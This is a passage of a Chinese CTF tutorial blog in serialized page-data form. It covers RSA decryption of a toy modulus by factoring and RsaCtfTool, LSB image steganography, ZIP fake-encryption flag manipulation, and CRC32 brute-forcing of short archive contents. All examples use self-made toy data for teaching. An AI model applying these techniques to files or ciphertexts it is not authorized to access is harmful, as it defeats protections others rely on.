1",[11,10512,2031],{"id":2030},[490,10514,10515,10525],{},[493,10516,10517],{},[496,10518,10519,10521,10523],{},[499,10520,1047],{},[499,10522,2042],{},[499,10524,2045],{},[506,10526,10527,10545,10561],{},[496,10528,10529,10532,10543],{},[511,10530,10531],{},"pycryptodome",[511,10533,10534,264,10537,264,10540],{},[30,10535,10536],{},"long_to_bytes",[30,10538,10539],{},"inverse",[30,10541,10542],{},"pow(m,e,n)",[511,10544,2074],{},[496,10546,10547,10550,10556],{},[511,10548,10549],{},"sympy",[511,10551,10552,10555],{},[30,10553,10554],{},"factorint"," 分解",[511,10557,10558],{},[30,10559,10560],{},"factorint(3233)",[496,10562,10563,10566,10569],{},[511,10564,10565],{},"RsaCtfTool",[511,10567,10568],{},"自动尝试多种攻击、从公钥文件读取",[511,10570,10571],{},[30,10572,10573],{},"./RsaCtfTool.py -n N -e E --uncipher C --attack all",[16,10575,10576,10577,10582],{},"FactorDB（",[2500,10578,10581],{"href":10579,"rel":10580},"https://factordb.com%EF%BC%89%E7%94%A8%E4%BA%8E%E6%9F%A5",[2504],"https://factordb.com）用于查"," n 的已知分解。",[11,10584,9682],{"id":9681},[16,10586,1136],{},[23,10588,10591],{"className":10589,"code":10590,"language":175,"meta":28},[173],"n = 1000000016000000063\ne = 65537\nc = 856868007642616233\n",[30,10592,10590],{"__ignoreMap":28},[16,10594,10595],{},"说明：真实题目的 n 有数百位，这里为了能在本地秒级分解，使用 19 位 n；分解方法完全一致。",[147,10597,10599],{"id":10598},"第一步分解","第一步：分解",[16,10601,10602,10604],{},[136,10603,144],{},"：n 只有 19 位，sympy 的 factorint 用试除/快速算法秒级分解；若 n 更大，改用 yafu 或查 FactorDB。",[23,10606,10608],{"className":1238,"code":10607,"language":1240,"meta":28,"style":28},"from sympy import factorint\nprint(factorint(1000000016000000063))\n",[30,10609,10610,10614],{"__ignoreMap":28},[33,10611,10612],{"class":35,"line":36},[33,10613,10029],{},[33,10615,10616],{"class":35,"line":47},[33,10617,10618],{},"print(factorint(1000000016000000063))\n",[16,10620,2432],{},[23,10622,10625],{"className":10623,"code":10624,"language":175,"meta":28},[173],"{1000000007: 1, 1000000009: 1}\n",[30,10626,10624],{"__ignoreMap":28},[147,10628,10630],{"id":10629},"第二步解密","第二步：解密",[16,10632,10633,10635,10636,10639],{},[136,10634,144],{},"：与 5.2 完全相同的公式，只是参数换成实际值；输出 ",[30,10637,10638],{},"b'flag'"," 说明解密成功。",[23,10641,10643],{"className":1238,"code":10642,"language":1240,"meta":28,"style":28},"from Crypto.Util.number import long_to_bytes\n\nn = 1000000016000000063\ne = 65537\nc = 856868007642616233\np, q = 1000000007, 1000000009\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nprint(long_to_bytes(pow(c, d, n)))\n",[30,10644,10645,10649,10653,10658,10663,10668,10673,10677,10681,10685],{"__ignoreMap":28},[33,10646,10647],{"class":35,"line":36},[33,10648,10071],{},[33,10650,10651],{"class":35,"line":47},[33,10652,1460],{"emptyLinePlaceholder":1373},[33,10654,10655],{"class":35,"line":70},[33,10656,10657],{},"n = 1000000016000000063\n",[33,10659,10660],{"class":35,"line":80},[33,10661,10662],{},"e = 65537\n",[33,10664,10665],{"class":35,"line":452},[33,10666,10667],{},"c = 856868007642616233\n",[33,10669,10670],{"class":35,"line":458},[33,10671,10672],{},"p, q = 1000000007, 1000000009\n",[33,10674,10675],{"class":35,"line":464},[33,10676,1460],{"emptyLinePlaceholder":1373},[33,10678,10679],{"class":35,"line":470},[33,10680,9922],{},[33,10682,10683],{"class":35,"line":476},[33,10684,9932],{},[33,10686,10687],{"class":35,"line":482},[33,10688,10689],{},"print(long_to_bytes(pow(c, d, n)))\n",[16,10691,2432],{},[23,10693,10696],{"className":10694,"code":10695,"language":175,"meta":28},[173],"b'flag'\n",[30,10697,10695],{"__ignoreMap":28},[147,10699,10701],{"id":10700},"第三步工具验证","第三步：工具验证",[23,10703,10705],{"className":25,"code":10704,"language":27,"meta":28,"style":28},"./RsaCtfTool.py -n 1000000016000000063 -e 65537 --uncipher 856868007642616233 --attack all\n",[30,10706,10707],{"__ignoreMap":28},[33,10708,10709,10712,10714,10717,10719,10722,10725,10728,10731],{"class":35,"line":36},[33,10710,10711],{"class":39},"./RsaCtfTool.py",[33,10713,242],{"class":241},[33,10715,10716],{"class":241}," 1000000016000000063",[33,10718,3589],{"class":241},[33,10720,10721],{"class":241}," 65537",[33,10723,10724],{"class":241}," --uncipher",[33,10726,10727],{"class":241}," 856868007642616233",[33,10729,10730],{"class":241}," --attack",[33,10732,10733],{"class":43}," all\n",[11,10735,2224],{"id":2223},[16,10737,10738,10739,10742],{},"RSA 解题顺序：",[136,10740,10741],{},"先查 n 能否分解（FactorDB/sympy）→ 能分解就按公式解密 → 不能分解就检查共模、低指数、Wiener、Fermat 等结构性错误","。每个攻击对应一种\"实现错误\"，识别特征后套模板即可。",[1350,10744,3247],{},{"title":28,"searchDepth":47,"depth":47,"links":10746},[10747,10748,10749,10750,10751,10752,10753,10754,10755,10756],{"id":9794,"depth":70,"text":9795},{"id":89,"depth":70,"text":90},{"id":9858,"depth":70,"text":9859},{"id":9886,"depth":70,"text":9887},{"id":10004,"depth":70,"text":10005},{"id":10207,"depth":70,"text":10208},{"id":10442,"depth":70,"text":10443},{"id":2030,"depth":70,"text":2031},{"id":9681,"depth":70,"text":9682},{"id":2223,"depth":70,"text":2224},"RSA的DH 与公钥密码学背景、数论公式与小数字手算、小 n 分解解密、共模攻击的数学推导与代码。",{"date":1366,"image":7645,"alt":10759,"tags":10760,"published":1373},"RSA 深入实战",[1370,3263,10761,1372],"rsa","/blogs/ctf-crypto-rsa-deep-dive",{"title":9789,"description":10757},"blogs/19. ctf-crypto-rsa-deep-dive","cUGS-VePAPrg-FWNvg-OJ725RRZNhFybQstAdcvf9qo",{"id":10767,"title":10768,"body":10769,"description":11779,"extension":1364,"meta":11780,"navigation":1373,"ogImage":2254,"path":11784,"seo":11785,"stem":11786,"__hash__":11787},"content/blogs/20. ctf-misc-stego-forensics-deep-dive.md","隐写与取证深入实战：LSB 隐写与 ZIP 伪加密",{"type":8,"value":10770,"toc":11769},[10771,10775,10781,10783,10817,10821,10825,10828,10834,10838,10843,10990,11000,11004,11009,11014,11117,11119,11124,11128,11141,11147,11151,11156,11161,11165,11168,11174,11181,11185,11190,11228,11230,11236,11239,11245,11249,11254,11311,11314,11320,11323,11361,11363,11369,11372,11376,11385,11440,11442,11448,11455,11459,11464,11469,11472,11570,11577,11583,11594,11596,11661,11665,11670,11675,11679,11681,11721,11724,11729,11735,11750,11753,11755,11766],[11,10772,10774],{"id":10773},"一现实背景文件头与压缩包","一、现实背景：文件头与压缩包",[16,10776,10777,10778,10780],{},"文件真实类型由文件头决定。ZIP 文件头是 ",[30,10779,3344],{},"，其内部结构里有\"加密标志位\"，出题人可以把标志位置 1 制造\"伪加密\"（数据其实没加密）。图片取证中，LSB 隐写把秘密藏在像素最低位。本文完整实现这两种技术。",[11,10782,90],{"id":89},[23,10784,10786],{"className":25,"code":10785,"language":27,"meta":28,"style":28},"apt install file binutils binwalk\npip3 install pillow\ngem install zsteg\n",[30,10787,10788,10801,10809],{"__ignoreMap":28},[33,10789,10790,10792,10794,10796,10798],{"class":35,"line":36},[33,10791,103],{"class":39},[33,10793,106],{"class":43},[33,10795,109],{"class":43},[33,10797,112],{"class":43},[33,10799,10800],{"class":43}," binwalk\n",[33,10802,10803,10805,10807],{"class":35,"line":47},[33,10804,1425],{"class":39},[33,10806,106],{"class":43},[33,10808,3384],{"class":43},[33,10810,10811,10813,10815],{"class":35,"line":70},[33,10812,4028],{"class":39},[33,10814,106],{"class":43},[33,10816,4033],{"class":43},[11,10818,10820],{"id":10819},"三核心技能-1lsb-隐写完整实现","三、核心技能 1：LSB 隐写（完整实现）",[147,10822,10824],{"id":10823},"_31-原理","3.1 原理",[16,10826,10827],{},"像素每个通道 1 字节（0-255）。把字节最低位替换成秘密比特，值最多变化 1，肉眼不可察觉：",[23,10829,10832],{"className":10830,"code":10831,"language":175,"meta":28},[173],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101   ← 最低位写入 1,0,1\n",[30,10833,10831],{"__ignoreMap":28},[147,10835,10837],{"id":10836},"_32-隐藏出题人视角","3.2 隐藏（出题人视角）",[16,10839,10840,10842],{},[136,10841,138],{},"：理解\"把秘密写进像素最低位\"的实现细节，才能反过来写出提取脚本。",[23,10844,10846],{"className":1238,"code":10845,"language":1240,"meta":28,"style":28},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\nbits = ''.join(f'{b:08b}' for b in data)\n# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\npixels = list(img.getdata())\n# getdata()：取出所有像素，每项是 (r,g,b)。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道，同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n    new_pixels.append((r, g, b))\n\nimg.putdata(new_pixels)\n# putdata()：把修改后的像素写回图片。\nimg.save('hidden.png')\n# save()：保存为 PNG。\nprint(\"已生成 hidden.png\")\n",[30,10847,10848,10852,10857,10861,10865,10870,10874,10878,10882,10887,10891,10896,10900,10905,10909,10913,10917,10921,10925,10929,10934,10938,10942,10947,10951,10955,10960,10964,10968,10972,10977,10981,10986],{"__ignoreMap":28},[33,10849,10850],{"class":35,"line":36},[33,10851,3655],{},[33,10853,10854],{"class":35,"line":47},[33,10855,10856],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n",[33,10858,10859],{"class":35,"line":70},[33,10860,1460],{"emptyLinePlaceholder":1373},[33,10862,10863],{"class":35,"line":80},[33,10864,3669],{},[33,10866,10867],{"class":35,"line":452},[33,10868,10869],{},"# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\n",[33,10871,10872],{"class":35,"line":458},[33,10873,3684],{},[33,10875,10876],{"class":35,"line":464},[33,10877,1460],{"emptyLinePlaceholder":1373},[33,10879,10880],{"class":35,"line":470},[33,10881,3693],{},[33,10883,10884],{"class":35,"line":476},[33,10885,10886],{},"# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\n",[33,10888,10889],{"class":35,"line":482},[33,10890,3708],{},[33,10892,10893],{"class":35,"line":1295},[33,10894,10895],{},"# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\n",[33,10897,10898],{"class":35,"line":1301},[33,10899,3723],{},[33,10901,10902],{"class":35,"line":1505},[33,10903,10904],{},"# getdata()：取出所有像素，每项是 (r,g,b)。\n",[33,10906,10907],{"class":35,"line":1511},[33,10908,1460],{"emptyLinePlaceholder":1373},[33,10910,10911],{"class":35,"line":1517},[33,10912,3737],{},[33,10914,10915],{"class":35,"line":1523},[33,10916,3742],{},[33,10918,10919],{"class":35,"line":1529},[33,10920,3747],{},[33,10922,10923],{"class":35,"line":1535},[33,10924,3752],{},[33,10926,10927],{"class":35,"line":1541},[33,10928,3757],{},[33,10930,10931],{"class":35,"line":2981},[33,10932,10933],{},"        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n",[33,10935,10936],{"class":35,"line":2987},[33,10937,3752],{},[33,10939,10940],{"class":35,"line":2993},[33,10941,3778],{},[33,10943,10944],{"class":35,"line":2999},[33,10945,10946],{},"        # 绿色通道，同样处理。\n",[33,10948,10949],{"class":35,"line":3005},[33,10950,3752],{},[33,10952,10953],{"class":35,"line":3770},[33,10954,3795],{},[33,10956,10957],{"class":35,"line":3775},[33,10958,10959],{},"        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n",[33,10961,10962],{"class":35,"line":3781},[33,10963,3807],{},[33,10965,10966],{"class":35,"line":3787},[33,10967,1460],{"emptyLinePlaceholder":1373},[33,10969,10970],{"class":35,"line":3792},[33,10971,3824],{},[33,10973,10974],{"class":35,"line":3798},[33,10975,10976],{},"# putdata()：把修改后的像素写回图片。\n",[33,10978,10979],{"class":35,"line":3804},[33,10980,3836],{},[33,10982,10983],{"class":35,"line":3810},[33,10984,10985],{},"# save()：保存为 PNG。\n",[33,10987,10988],{"class":35,"line":3816},[33,10989,3848],{},[16,10991,10992,10994,10995,3858,10997,10999],{},[30,10993,3853],{}," 清零最低位（",[30,10996,3857],{},[30,10998,3861],{}," 写入。",[147,11001,11003],{"id":11002},"_33-提取解题视角","3.3 提取（解题视角）",[16,11005,11006,11008],{},[136,11007,138],{},"：把像素最低位收集起来，每 8 位一组还原成字节，得到隐藏消息。",[16,11010,11011,11013],{},[136,11012,144],{},"：读取像素 → 依次取 R、G、B 最低位 → 8 位拼 1 字节 → 遇到 0 结束。",[23,11015,11017],{"className":1238,"code":11016,"language":1240,"meta":28,"style":28},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # 每 8 个比特一组，步长为 8。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移 1 位再或上当前比特，等价于二进制拼接。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串解码成字符串。\n",[30,11018,11019,11023,11027,11031,11036,11040,11044,11048,11053,11057,11061,11065,11070,11074,11078,11082,11087,11091,11096,11100,11104,11108,11112],{"__ignoreMap":28},[33,11020,11021],{"class":35,"line":36},[33,11022,3655],{},[33,11024,11025],{"class":35,"line":47},[33,11026,1460],{"emptyLinePlaceholder":1373},[33,11028,11029],{"class":35,"line":70},[33,11030,3894],{},[33,11032,11033],{"class":35,"line":80},[33,11034,11035],{},"# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\n",[33,11037,11038],{"class":35,"line":452},[33,11039,3909],{},[33,11041,11042],{"class":35,"line":458},[33,11043,3914],{},[33,11045,11046],{"class":35,"line":464},[33,11047,3919],{},[33,11049,11050],{"class":35,"line":470},[33,11051,11052],{},"    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n",[33,11054,11055],{"class":35,"line":476},[33,11056,1460],{"emptyLinePlaceholder":1373},[33,11058,11059],{"class":35,"line":482},[33,11060,3938],{},[33,11062,11063],{"class":35,"line":1295},[33,11064,3943],{},[33,11066,11067],{"class":35,"line":1301},[33,11068,11069],{},"    # 每 8 个比特一组，步长为 8。\n",[33,11071,11072],{"class":35,"line":1505},[33,11073,3953],{},[33,11075,11076],{"class":35,"line":1511},[33,11077,3958],{},[33,11079,11080],{"class":35,"line":1517},[33,11081,3963],{},[33,11083,11084],{"class":35,"line":1523},[33,11085,11086],{},"        # 左移 1 位再或上当前比特，等价于二进制拼接。\n",[33,11088,11089],{"class":35,"line":1529},[33,11090,3978],{},[33,11092,11093],{"class":35,"line":1535},[33,11094,11095],{},"        # 字节 0 是隐藏时追加的结束符。\n",[33,11097,11098],{"class":35,"line":1541},[33,11099,2672],{},[33,11101,11102],{"class":35,"line":2981},[33,11103,3992],{},[33,11105,11106],{"class":35,"line":2987},[33,11107,1460],{"emptyLinePlaceholder":1373},[33,11109,11110],{"class":35,"line":2993},[33,11111,4001],{},[33,11113,11114],{"class":35,"line":2999},[33,11115,11116],{},"# decode()：字节串解码成字符串。\n",[16,11118,2432],{},[23,11120,11122],{"className":11121,"code":4012,"language":175,"meta":28},[173],[30,11123,4012],{"__ignoreMap":28},[147,11125,11127],{"id":11126},"_34-工具验证","3.4 工具验证",[23,11129,11131],{"className":25,"code":11130,"language":27,"meta":28,"style":28},"zsteg -a hidden.png\n",[30,11132,11133],{"__ignoreMap":28},[33,11134,11135,11137,11139],{"class":35,"line":36},[33,11136,4038],{"class":39},[33,11138,4041],{"class":241},[33,11140,3414],{"class":43},[16,11142,11143,11144,301],{},"预期输出中包含 ",[30,11145,11146],{},"flag{lsb_steganography}",[11,11148,11150],{"id":11149},"四核心技能-2zip-伪加密完整实现","四、核心技能 2：ZIP 伪加密（完整实现）",[16,11152,11153,11155],{},[136,11154,138],{},"：理解 ZIP 的\"加密标志位\"结构，学会修复伪加密。",[16,11157,11158,11160],{},[136,11159,144],{},"：先看正常 zip 的十六进制，找到标志位位置；把加密位置 1 模拟伪加密（此时解压报\"需要密码\"）；再把位置 0 修复，验证能正常读出内容。",[147,11162,11164],{"id":11163},"_41-zip-结构","4.1 ZIP 结构",[16,11166,11167],{},"本地文件头：",[23,11169,11172],{"className":11170,"code":11171,"language":175,"meta":28},[173],"偏移   字段\n0x00  签名 50 4B 03 04\n0x04  版本（2 字节）\n0x06  通用标志位（2 字节，第 0 位 = 加密位）\n",[30,11173,11171],{"__ignoreMap":28},[16,11175,11176,11177,11180],{},"中央目录头（签名 ",[30,11178,11179],{},"50 4B 01 02","）中标志位位于偏移 0x08。",[147,11182,11184],{"id":11183},"_42-生成-zip-并查看结构","4.2 生成 zip 并查看结构",[16,11186,11187,11189],{},[136,11188,138],{},"：建立\"正常 zip\"的基线，确认本地文件头与中央目录头中标志位的位置。",[23,11191,11193],{"className":1238,"code":11192,"language":1240,"meta":28,"style":28},"import zipfile\n\nwith zipfile.ZipFile('flag.zip', 'w') as z:\n    z.writestr('flag.txt', 'ctf{zip}')\n\ndata = open('flag.zip', 'rb').read()\nprint(' '.join(f'{b:02x}' for b in data[:60]))\n",[30,11194,11195,11200,11204,11209,11214,11218,11223],{"__ignoreMap":28},[33,11196,11197],{"class":35,"line":36},[33,11198,11199],{},"import zipfile\n",[33,11201,11202],{"class":35,"line":47},[33,11203,1460],{"emptyLinePlaceholder":1373},[33,11205,11206],{"class":35,"line":70},[33,11207,11208],{},"with zipfile.ZipFile('flag.zip', 'w') as z:\n",[33,11210,11211],{"class":35,"line":80},[33,11212,11213],{},"    z.writestr('flag.txt', 'ctf{zip}')\n",[33,11215,11216],{"class":35,"line":452},[33,11217,1460],{"emptyLinePlaceholder":1373},[33,11219,11220],{"class":35,"line":458},[33,11221,11222],{},"data = open('flag.zip', 'rb').read()\n",[33,11224,11225],{"class":35,"line":464},[33,11226,11227],{},"print(' '.join(f'{b:02x}' for b in data[:60]))\n",[16,11229,2432],{},[23,11231,11234],{"className":11232,"code":11233,"language":175,"meta":28},[173],"50 4b 03 04 14 00 00 00 00 00 d8 73 0e 5d b0 75 c1 31 08 00 00 00 08 00 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 63 74 66 7b 7a 69 70 7d 50 4b 01 02 14 03 14 00 00 00 00 00 d8 73\n",[30,11235,11233],{"__ignoreMap":28},[16,11237,11238],{},"解释：",[23,11240,11243],{"className":11241,"code":11242,"language":175,"meta":28},[173],"50 4b 03 04                    ← 本地文件头签名\n14 00                          ← 版本\n00 00                          ← 通用标志位（00 00 = 未加密）\n...\n50 4b 01 02                    ← 中央目录头签名\n14 03 14 00                    ← 版本信息\n00 00                          ← 中央目录标志位（未加密）\n",[30,11244,11242],{"__ignoreMap":28},[147,11246,11248],{"id":11247},"_43-设置加密位伪加密","4.3 设置加密位（伪加密）",[16,11250,11251,11253],{},[136,11252,144],{},"：只改数据不加密，而是把\"加密标志位\"置 1，让解压程序误以为需要密码。",[23,11255,11257],{"className":1238,"code":11256,"language":1240,"meta":28,"style":28},"data = bytearray(open('flag.zip', 'rb').read())\n\n# 本地文件头：偏移 6 处标志位置位\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] |= 1\n\n# 中央目录头：偏移 8 处标志位置位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] |= 1\n\nopen('flag_enc.zip', 'wb').write(data)\n",[30,11258,11259,11264,11268,11273,11278,11283,11287,11292,11297,11302,11306],{"__ignoreMap":28},[33,11260,11261],{"class":35,"line":36},[33,11262,11263],{},"data = bytearray(open('flag.zip', 'rb').read())\n",[33,11265,11266],{"class":35,"line":47},[33,11267,1460],{"emptyLinePlaceholder":1373},[33,11269,11270],{"class":35,"line":70},[33,11271,11272],{},"# 本地文件头：偏移 6 处标志位置位\n",[33,11274,11275],{"class":35,"line":80},[33,11276,11277],{},"idx = data.find(b'PK\\x03\\x04')\n",[33,11279,11280],{"class":35,"line":452},[33,11281,11282],{},"data[idx + 6] |= 1\n",[33,11284,11285],{"class":35,"line":458},[33,11286,1460],{"emptyLinePlaceholder":1373},[33,11288,11289],{"class":35,"line":464},[33,11290,11291],{},"# 中央目录头：偏移 8 处标志位置位\n",[33,11293,11294],{"class":35,"line":470},[33,11295,11296],{},"idx2 = data.find(b'PK\\x01\\x02')\n",[33,11298,11299],{"class":35,"line":476},[33,11300,11301],{},"data[idx2 + 8] |= 1\n",[33,11303,11304],{"class":35,"line":482},[33,11305,1460],{"emptyLinePlaceholder":1373},[33,11307,11308],{"class":35,"line":1295},[33,11309,11310],{},"open('flag_enc.zip', 'wb').write(data)\n",[16,11312,11313],{},"修改后的 hexdump：",[23,11315,11318],{"className":11316,"code":11317,"language":175,"meta":28},[173],"50 4b 03 04 14 00 01 00 00 00 d8 73 ...   ← 本地标志位 01\n50 4b 01 02 14 03 14 00 01 00 00 00 d8 73 ...  ← 中央标志位 01\n",[30,11319,11317],{"__ignoreMap":28},[16,11321,11322],{},"尝试读取：",[23,11324,11326],{"className":1238,"code":11325,"language":1240,"meta":28,"style":28},"import zipfile\n\ntry:\n    with zipfile.ZipFile('flag_enc.zip') as z:\n        print(z.read('flag.txt'))\nexcept Exception as e:\n    print(type(e).__name__, e)\n",[30,11327,11328,11332,11336,11341,11346,11351,11356],{"__ignoreMap":28},[33,11329,11330],{"class":35,"line":36},[33,11331,11199],{},[33,11333,11334],{"class":35,"line":47},[33,11335,1460],{"emptyLinePlaceholder":1373},[33,11337,11338],{"class":35,"line":70},[33,11339,11340],{},"try:\n",[33,11342,11343],{"class":35,"line":80},[33,11344,11345],{},"    with zipfile.ZipFile('flag_enc.zip') as z:\n",[33,11347,11348],{"class":35,"line":452},[33,11349,11350],{},"        print(z.read('flag.txt'))\n",[33,11352,11353],{"class":35,"line":458},[33,11354,11355],{},"except Exception as e:\n",[33,11357,11358],{"class":35,"line":464},[33,11359,11360],{},"    print(type(e).__name__, e)\n",[16,11362,2432],{},[23,11364,11367],{"className":11365,"code":11366,"language":175,"meta":28},[173],"RuntimeError File 'flag.txt' is encrypted, password required for extraction\n",[30,11368,11366],{"__ignoreMap":28},[16,11370,11371],{},"程序要求密码——但数据根本没加密，这就是伪加密。",[147,11373,11375],{"id":11374},"_44-修复","4.4 修复",[16,11377,11378,11380,11381,11384],{},[136,11379,144],{},"：把两处标志位最低位清零（",[30,11382,11383],{},"& 0xfe","），恢复成未加密状态。",[23,11386,11388],{"className":1238,"code":11387,"language":1240,"meta":28,"style":28},"data = bytearray(open('flag_enc.zip', 'rb').read())\n\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] &= 0xfe          # 清除本地头加密位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n\nopen('flag_fixed.zip', 'wb').write(data)\n\nwith zipfile.ZipFile('flag_fixed.zip') as z:\n    print(z.read('flag.txt'))\n",[30,11389,11390,11395,11399,11403,11408,11412,11417,11421,11426,11430,11435],{"__ignoreMap":28},[33,11391,11392],{"class":35,"line":36},[33,11393,11394],{},"data = bytearray(open('flag_enc.zip', 'rb').read())\n",[33,11396,11397],{"class":35,"line":47},[33,11398,1460],{"emptyLinePlaceholder":1373},[33,11400,11401],{"class":35,"line":70},[33,11402,11277],{},[33,11404,11405],{"class":35,"line":80},[33,11406,11407],{},"data[idx + 6] &= 0xfe          # 清除本地头加密位\n",[33,11409,11410],{"class":35,"line":452},[33,11411,11296],{},[33,11413,11414],{"class":35,"line":458},[33,11415,11416],{},"data[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n",[33,11418,11419],{"class":35,"line":464},[33,11420,1460],{"emptyLinePlaceholder":1373},[33,11422,11423],{"class":35,"line":470},[33,11424,11425],{},"open('flag_fixed.zip', 'wb').write(data)\n",[33,11427,11428],{"class":35,"line":476},[33,11429,1460],{"emptyLinePlaceholder":1373},[33,11431,11432],{"class":35,"line":482},[33,11433,11434],{},"with zipfile.ZipFile('flag_fixed.zip') as z:\n",[33,11436,11437],{"class":35,"line":1295},[33,11438,11439],{},"    print(z.read('flag.txt'))\n",[16,11441,2432],{},[23,11443,11446],{"className":11444,"code":11445,"language":175,"meta":28},[173],"b'ctf{zip}'\n",[30,11447,11445],{"__ignoreMap":28},[16,11449,11450,11451,11454],{},"实战提示：很多伪加密题只改本地头或中央目录头之一，",[30,11452,11453],{},"binwalk -e"," 常常直接绕过标志位提取，先试它再手工改。",[11,11456,11458],{"id":11457},"五核心技能-3crc32-爆破","五、核心技能 3：CRC32 爆破",[16,11460,11461,11463],{},[136,11462,138],{},"：当压缩包内文件内容很短、又拿不到明文时，用校验值反推内容。",[16,11465,11466,11468],{},[136,11467,144],{},"：ZIP 记录每个文件的 CRC32（明文校验和）。枚举所有短内容，算 CRC 与记录值比对，相等即明文。",[16,11470,11471],{},"ZIP 中央目录记录每个文件的 CRC32。当文件内容很短（1-4 字符）时，枚举内容匹配校验值：",[23,11473,11475],{"className":1238,"code":11474,"language":1240,"meta":28,"style":28},"import zipfile, zlib, itertools\n# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n\nz = zipfile.ZipFile('flag.zip')\ntarget = z.getinfo('flag.txt').CRC\n# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\nprint(\"目标 CRC:\", target)\n\ncharset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n# 题目语境下的候选字符集，缩小枚举空间。\nfor length in range(1, 5):\n    for tup in itertools.product(charset, repeat=length):\n        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n        s = ''.join(tup).encode()\n        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n        if zlib.crc32(s) & 0xffffffff == target:\n            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n            print(\"爆破结果:\", s)\n            exit()\n",[30,11476,11477,11482,11487,11491,11496,11501,11506,11511,11515,11520,11525,11530,11535,11540,11545,11550,11555,11560,11565],{"__ignoreMap":28},[33,11478,11479],{"class":35,"line":36},[33,11480,11481],{},"import zipfile, zlib, itertools\n",[33,11483,11484],{"class":35,"line":47},[33,11485,11486],{},"# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n",[33,11488,11489],{"class":35,"line":70},[33,11490,1460],{"emptyLinePlaceholder":1373},[33,11492,11493],{"class":35,"line":80},[33,11494,11495],{},"z = zipfile.ZipFile('flag.zip')\n",[33,11497,11498],{"class":35,"line":452},[33,11499,11500],{},"target = z.getinfo('flag.txt').CRC\n",[33,11502,11503],{"class":35,"line":458},[33,11504,11505],{},"# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\n",[33,11507,11508],{"class":35,"line":464},[33,11509,11510],{},"print(\"目标 CRC:\", target)\n",[33,11512,11513],{"class":35,"line":470},[33,11514,1460],{"emptyLinePlaceholder":1373},[33,11516,11517],{"class":35,"line":476},[33,11518,11519],{},"charset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n",[33,11521,11522],{"class":35,"line":482},[33,11523,11524],{},"# 题目语境下的候选字符集，缩小枚举空间。\n",[33,11526,11527],{"class":35,"line":1295},[33,11528,11529],{},"for length in range(1, 5):\n",[33,11531,11532],{"class":35,"line":1301},[33,11533,11534],{},"    for tup in itertools.product(charset, repeat=length):\n",[33,11536,11537],{"class":35,"line":1505},[33,11538,11539],{},"        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n",[33,11541,11542],{"class":35,"line":1511},[33,11543,11544],{},"        s = ''.join(tup).encode()\n",[33,11546,11547],{"class":35,"line":1517},[33,11548,11549],{},"        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n",[33,11551,11552],{"class":35,"line":1523},[33,11553,11554],{},"        if zlib.crc32(s) & 0xffffffff == target:\n",[33,11556,11557],{"class":35,"line":1529},[33,11558,11559],{},"            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n",[33,11561,11562],{"class":35,"line":1535},[33,11563,11564],{},"            print(\"爆破结果:\", s)\n",[33,11566,11567],{"class":35,"line":1541},[33,11568,11569],{},"            exit()\n",[16,11571,11572,11573,11576],{},"实际输出（目标内容 ",[30,11574,11575],{},"ctf1","）：",[23,11578,11581],{"className":11579,"code":11580,"language":175,"meta":28},[173],"目标 CRC: 961973094\n爆破结果: b'ctf1'\n",[30,11582,11580],{"__ignoreMap":28},[16,11584,11585,11586,11589,11590,11593],{},"注意 ",[30,11587,11588],{},"zlib.crc32"," 返回有符号整数，需要 ",[30,11591,11592],{},"& 0xffffffff"," 